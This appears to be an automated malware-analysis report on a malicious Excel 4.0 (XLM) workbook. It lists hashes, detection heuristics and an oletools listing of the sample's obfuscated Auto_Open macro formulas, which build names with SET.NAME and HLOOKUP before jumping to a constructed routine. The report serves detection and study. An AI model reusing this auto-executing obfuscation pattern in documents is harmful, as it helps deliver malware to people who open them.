Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5d33d7c10e7a04fd…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-27 11:43:51 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 5cc86ea0d2671dfda585e798452dc768 SHA-1: cd768a218f116e0d15e2895e6fd329125aa33ece SHA-256: 5d33d7c10e7a04fda74663fe5d2d12d86e2122816a5795e6f0e3f3c4acf52317
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6688 bytes
SHA-256: 090ac2bc7c43a4368c7b71d5b66dcf7a3eae36bcc42d01adb9ab60eb0bd2fed3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XoH
' 0018     25 LABEL : Cell Value, String Constant - AcYaLOnJLD len=0 
' 0018     20 LABEL : Cell Value, String Constant - AoAve len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H159 
' 0018     26 LABEL : Cell Value, String Constant - BBKBkzmjlJM len=0 
' 0018     25 LABEL : Cell Value, String Constant - BFNiZsTZWZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - dlwUFecvTPTd len=0 
' 0018     25 LABEL : Cell Value, String Constant - fxAviAWGoA len=0 
' 0018     27 LABEL : Cell Value, String Constant - GaddpRGmgZxs len=0 
' 0018     23 LABEL : Cell Value, String Constant - hCGAidFV len=0 
' 0018     23 LABEL : Cell Value, String Constant - hZYSwoEB len=0 
' 0018     23 LABEL : Cell Value, String Constant - KejnNiOp len=0 
' 0018     22 LABEL : Cell Value, String Constant - LXMpDXx len=0 
' 0018     26 LABEL : Cell Value, String Constant - opiLVKJjfsX len=0 
' 0018     21 LABEL : Cell Value, String Constant - pHDaNj len=0 
' 0018     24 LABEL : Cell Value, String Constant - pNpmDfmsi len=0 
' 0018     26 LABEL : Cell Value, String Constant - QkiEYHyNkiE len=0 
' 0018     26 LABEL : Cell Value, String Constant - sGqgKxSzbFM len=0 
' 0018     20 LABEL : Cell Value, String Constant - sKJIJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - UUvOz len=0 
' 0018     26 LABEL : Cell Value, String Constant - vFZyCGkkWsY len=0 
' 0018     27 LABEL : Cell Value, String Constant - yqFUyoaCCTjM len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XoH,Q68,"",322.00000000000000000000
'  XoH,H69,"SET.NAME("hCGAidFV",0+VALUE("0"))",""
'  XoH,Q69,"",770.00000000000000000000
'  XoH,Q70,"",-265.00000000000000000000
'  XoH,H71,"SET.NAME("UUvOz",hCGAidFV)",""
'  XoH,Q71,"",-846.00000000000000000000
'  XoH,Q72,"",884.00000000000000000000
'  XoH,Q73,"",-436.00000000000000000000
'  XoH,H74,"SET.NAME("BFNiZsTZWZ",hCGAidFV)",""
'  XoH,H77,"SET.NAME("opiLVKJjfsX",COUNTA(KejnNiOp))",""
'  XoH,H79,"SET.NAME("BBKBkzmjlJM",COUNTA(vFZyCGkkWsY))",""
'  XoH,H82,[],""
'  XoH,H87,"SET.NAME("sKJIJ","")",""
'  XoH,H90,"UUvOz",""
'  XoH,H93,"SET.NAME("pHDaNj",HLOOKUP("*",KejnNiOp,UUvOz,FALSE))",""
'  XoH,H97,"pNpmDfmsi",""
'  XoH,H102,"SET.NAME("GaddpRGmgZxs",hCGAidFV)",""
'  XoH,H104,[],""
'  XoH,H109,"GaddpRGmgZxs",""
'  XoH,H111,"sGqgKxSzbFM",""
'  XoH,H115,"AoAve",""
'  XoH,H120,"LXMpDXx",""
'  XoH,H125,"SET.NAME("dlwUFecvTPTd",VALUE(HLOOKUP("*",vFZyCGkkWsY,LXMpDXx,FALSE)))",""
'  XoH,H128,"hZYSwoEB",""
'  XoH,H133,"sKJIJ",""
'  XoH,H138,"BFNiZsTZWZ",""
'  XoH,H141,NEXT(),""
'  XoH,H144,"yqFUyoaCCTjM",""
'  XoH,H146,[],""
'  XoH,H149,"fxAviAWGoA",""
'  XoH,H152,NEXT(),""
'  XoH,H155,RETURN(),""
'  XoH,H183,"SET.NAME("AcYaLOnJLD",H69)",""
'  XoH,H185,"KejnNiOp",""
'  XoH,H188,"SET.NAME("vFZyCGkkWsY",R95C13)",""
'  XoH,H191,"SET.NAME("fxAviAWGoA",200)",""
'  XoH,H195,"SET.NAME("QkiEYHyNkiE",8)",""
'  XoH,H199,AcYaLOnJLD(),""
'  XoH,H200,HALT(),""

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